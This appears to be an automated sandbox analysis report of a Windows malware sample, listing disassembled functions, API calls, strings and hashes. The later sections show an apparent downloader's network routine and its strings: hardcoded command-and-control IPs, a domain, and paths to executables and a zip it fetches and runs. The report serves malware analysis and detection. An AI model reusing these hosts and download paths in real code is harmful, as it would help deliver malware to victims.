Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction ID: a825ad976d3f878f3d1ae6f085165680ecf176d60430839047bda31eedf7821d
Opcode Fuzzy Hash: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction Fuzzy Hash: 62017571905240EFE7005BB4EE49BDD3FA4AB15301F10867AF541B61E2C7B904458BED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C48 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CD0

Strings

!, xrefs: 00401C84

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction ID: 3d1946e732457e70d46414fe723373bc78a31951f468440fe5e33f287296c6aa
Opcode Fuzzy Hash: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction Fuzzy Hash: BC21AD71D1421AAFEB05AFA4D94AAFE7BB0EF84304F10453EF601B61D0D7B84941DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404D83 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
wsprintfW.USER32 ref: 00404E2D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

%u.%u%s%s, xrefs: 00404E0E

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: 0fe25742dfe6cfa92c38baccc724587d3b65f537d6828788df476db8ac6fa50e
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: B111EB336042283BDB109A6DAC45E9E329CDF85374F250237FA65F71D1E978DC2282E8

Uniqueness

Uniqueness Score: -1.00%

Function 00405ED1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\,?,00405F45,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
CharNextW.USER32(00000000), ref: 00405EE4
CharNextW.USER32(00000000), ref: 00405EFC

Strings

C:\, xrefs: 00405ED2

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction ID: 143c5bdbadb979d876a68ad22b5e9fde56015454fa81a7c55dbcd1e73dec783f
Opcode Fuzzy Hash: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction Fuzzy Hash: 03F09072D04A2395DB317B649C45B7756BCEB587A0B54843BE601F72C0DBBC48818ADA

Uniqueness

Uniqueness Score: -1.00%

Function 00405E26 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E2C
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E36
lstrcatW.KERNEL32(?,0040A014), ref: 00405E48

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E26

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: dcb1dcffde27bcde4b46a4bd7655c85b8e924b1ae314dab144fc932f30a80b76
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: 9DD0A731501534BAC212AB54AD04DDF62AC9F46344381443BF141B30A5C77C5D51D7FD

Uniqueness

Uniqueness Score: -1.00%

Function 0040301E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,004031FC,00000001), ref: 00403031
GetTickCount.KERNEL32 ref: 0040304F
CreateDialogParamW.USER32(0000006F,00000000,00402F98,00000000), ref: 0040306C
ShowWindow.USER32(00000000,00000005), ref: 0040307A

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
Instruction ID: 9291db8f65f8f9a8906298ccab22143765a9ea5c3e1cf5a275661437a5304794
Opcode Fuzzy Hash: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
Instruction Fuzzy Hash: 22F08970602A21AFC6306F50FE09A9B7F68FB45B52B51053AF445B11ACCB345C91CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040557F
CallWindowProcW.USER32(?,?,?,?), ref: 004055D0

Part of subcall function 00404522: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404534

Strings

, xrefs: 00405560

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: 994decb8795c597c60d879b60f38f30bda4d2919c1ffc13ce94f3a2918c86729
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 1C01717120060CBFEF219F11DD84A9B3B67EB84794F144037FA41761D5C7398D529A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403B94 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75923420,00000000,C:\Users\user\AppData\Local\Temp\,00403B6C,00403A82,?,?,00000008,0000000A,0000000C), ref: 00403BAE
GlobalFree.KERNEL32(?), ref: 00403BB5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B94

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction ID: cb28855b84c3abb27e6c937247341fa4f051846acd49e0d4b6103447305c23c4
Opcode Fuzzy Hash: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction Fuzzy Hash: 5DE0C23362083097C6311F55EE04B1A7778AF89B2AF01402AEC407B2618B74AC538FCC

Uniqueness

Uniqueness Score: -1.00%

Function 00405FAC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FD4
CharNextA.USER32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FE5
lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: e9567a821587a5f0376c4e2be66d4cfc8c6f540c5076303c4651ac02cb4e93c6
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: E1F09631105519FFC7029FA5DE00D9FBBA8EF05350B2540B9F840F7250D678DE01AB69

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: i1.exePID: 6972, Parent PID: 2704COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	2.7%
Signature Coverage:	11.5%
Total number of Nodes:	1167
Total number of Limit Nodes:	14

Executed Functions

Function 0042676C Relevance: 51.9, APIs: 16, Strings: 13, Instructions: 1148
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00426771
WSAStartup.WS2_32(00000202,?), ref: 004273FD
socket.WS2_32(00000002,00000001,00000006), ref: 00427413
WSACleanup.WS2_32 ref: 0042742D
gethostbyname.WS2_32(00000000), ref: 00427441
htons.WS2_32(?), ref: 00427473
connect.WS2_32(00000000,?,00000010), ref: 00427484
send.WS2_32(00000000,00000000,00000000,00000000), ref: 004274A7
send.WS2_32(00000000,00000000,?,00000000), ref: 004274C3
recv.WS2_32(00000000,00000000,00000001,00000000), ref: 00427503
recv.WS2_32(?,00000000,00000001,00000000), ref: 00427681
recv.WS2_32(?,?,00000000,00000000), ref: 00427720
recv.WS2_32(?,0000000A,00000002,00000000), ref: 00427747
recv.WS2_32(00000000,?,?,00000000), ref: 004277A8
WSACleanup.WS2_32 ref: 004277E6
closesocket.WS2_32(?), ref: 004277ED

Strings

/ping.php?substr=%s, xrefs: 0042677D
HTTP/1.1 200 OK, xrefs: 0042678D, 0042683A, 0042754B
(KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36, xrefs: 00427015, 0042729B, 004272B2
POST , xrefs: 00426AA7, 00426AD5, 00426B39
User-Agent: , xrefs: 00426C73, 00426CF5, 00426D0C
Content-Length, xrefs: 00426853, 004268ED, 004275AB
HTTP/1.1, xrefs: 00426B5E, 00426BBC, 00426BD3
chunked, xrefs: 004269E7, 00426A2D, 004275F8
GET , xrefs: 00426AF5, 00426B17, 00426B31
Transfer-Encoding, xrefs: 0042690B, 004269C9, 004275E7
Host: , xrefs: 00426BF2, 00426C2C, 00426C43
185.172.128.228, xrefs: 0042677C
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 , xrefs: 00426D1E, 00426FEC, 00427003

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: recv$Cleanupsend$H_prologStartupclosesocketconnectgethostbynamehtonssocket
String ID: HTTP/1.1$(KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36$/ping.php?substr=%s$185.172.128.228$Content-Length$GET $HTTP/1.1 200 OK$Host: $Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 $POST $Transfer-Encoding$User-Agent: $chunked
API String ID: 791229064-1542616328
Opcode ID: 9d952c8ba9e130eda5d1cf078896611f00e5a5c92a92760575dbbb648ba0a804
Instruction ID: 4e55451fc037eb126e07087a8435dc815b4e607a9865e0499e256671a6cdd487
Opcode Fuzzy Hash: 9d952c8ba9e130eda5d1cf078896611f00e5a5c92a92760575dbbb648ba0a804
Instruction Fuzzy Hash: F39287209062E19ACB02FFB56C5659E7FF4591530D714747FE690AF393CB2C86088B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00424A0E Relevance: 48.6, APIs: 2, Strings: 25, Instructions: 1388
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004265BC: __EH_prolog.LIBCMT ref: 004265C1

GetModuleFileNameA.KERNEL32(00000000,?,00000104,0043BEDC), ref: 00424AD4

Part of subcall function 0042604A: __EH_prolog.LIBCMT ref: 0042604F
Part of subcall function 0042604A: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00426131

Strings

note.padd.cn.com, xrefs: 00425942, 004259FA, 00425AFF
P, xrefs: 00425EE3
185.172.128.228, xrefs: 00425D21, 00425DCD, 00425ED2
SOFTWARE\BroomCleaner, xrefs: 004250F1, 004251E5
P, xrefs: 004254F5
P, xrefs: 004250AB
\run.exe, xrefs: 00425BD0, 00425C28
Installed, xrefs: 004251FF, 0042525D
/cpa/ping.php?substr=%s&s=ab&sub=%s, xrefs: 00424DB6, 00424F4C, 00424F65
/timeSync.exe, xrefs: 0042575F, 004257F2, 00425860
185.172.128.228, xrefs: 004252C0, 00425366, 004254E5
P, xrefs: 00425855
185.172.128.59, xrefs: 0042553C, 004255D6, 0042584D
/ping.php?substr=%s, xrefs: 00425387, 0042545D, 00425475
/1/Package.zip, xrefs: 00425A14, 00425AAE, 00425B08
.zip, xrefs: 00425B5D, 00425B7F
one, xrefs: 00424B2A, 00424B45, 00424D9B
185.172.128.90, xrefs: 00424FB3, 0042504D, 0042509B
.exe, xrefs: 004258B1, 004258D3
.exe, xrefs: 00425F26, 00425F48
/syncUpd.exe, xrefs: 004256BC, 0042573E, 0042586F
185.172.128.203, xrefs: 004255F7, 0042569D, 0042583F
P, xrefs: 00425B10
sub=([\w-]{1,255}), xrefs: 00424AA2
/BroomSetup.exe, xrefs: 00425DE7, 00425E8D, 00425EDB

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: H_prolog$FileIos_base_dtorModuleNamestd::ios_base::_
String ID: .exe$.exe$.zip$/1/Package.zip$/BroomSetup.exe$/cpa/ping.php?substr=%s&s=ab&sub=%s$/ping.php?substr=%s$/syncUpd.exe$/timeSync.exe$185.172.128.203$185.172.128.228$185.172.128.228$185.172.128.59$185.172.128.90$Installed$P$P$P$P$P$SOFTWARE\BroomCleaner$\run.exe$note.padd.cn.com$one$sub=([\w-]{1,255})
API String ID: 2531350358-1167600277
Opcode ID: 9052fb54abde8957b0c8dcd2af763798e33b4e0189765b8ce0abbbbf1defcb6f
Instruction ID: d125a89a0ba1aec4cd60c53361ca74c042bcd3054cac0714d62587379a507679
Opcode Fuzzy Hash: 9052fb54abde8957b0c8dcd2af763798e33b4e0189765b8ce0abbbbf1defcb6f
Instruction Fuzzy Hash: EFB2131050A2E19AC712FB7958567CA2FE49B62309F54687FE7D01F2A3CB78460C87DE

Uniqueness

Uniqueness Score: -1.00%

Function 004139E7 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000003,?,004139BD,00000003,00438DB0,0000000C,00413B14,00000003,00000002,00000000,?,00412B6B,00000003), ref: 00413A08
TerminateProcess.KERNEL32(00000000,?,004139BD,00000003,00438DB0,0000000C,00413B14,00000003,00000002,00000000,?,00412B6B,00000003), ref: 00413A0F
ExitProcess.KERNEL32 ref: 00413A21

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 89ebcf6bc015773511dc3aad9cd82e24c556da80457bd1d22a03e0f024b4907b
Instruction ID: 8e17948dea93fcc861bafccf52e4138581932e64e8d8508709b4de54f2ab24c4
Opcode Fuzzy Hash: 89ebcf6bc015773511dc3aad9cd82e24c556da80457bd1d22a03e0f024b4907b
Instruction Fuzzy Hash: 83E0B631100108ABCF21AF65DD09A993B69EF54786F444029F9869A232DB39EE92CA48

Uniqueness

Uniqueness Score: -1.00%

Function 04185A16 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 04185A3E
Module32First.KERNEL32(00000000,00000224), ref: 04185A5E

Memory Dump Source

Source File: 00000006.00000002.2388126595.0000000004185000.00000040.00000020.00020000.00000000.sdmp, Offset: 04185000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4185000_i1.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: a7fd6af950075776bcbb7fb1fbfccc58efffd807a731dedc10b56fa3786b5138
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: D5F062311017107FD7203BF59CCCAAE76EDEF49669F10056CF646924C0DBB0F8454A65

Uniqueness

Uniqueness Score: -1.00%

Function 0041A242 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00419F10: CreateFileW.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419F2D

GetLastError.KERNEL32 ref: 0041A356
__dosmaperr.LIBCMT ref: 0041A35D
GetFileType.KERNEL32(00000000), ref: 0041A369
GetLastError.KERNEL32 ref: 0041A373
__dosmaperr.LIBCMT ref: 0041A37C
CloseHandle.KERNEL32(00000000), ref: 0041A39C
CloseHandle.KERNEL32(?), ref: 0041A4E6
GetLastError.KERNEL32 ref: 0041A518
__dosmaperr.LIBCMT ref: 0041A51F

Strings

H, xrefs: 0041A4A4

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
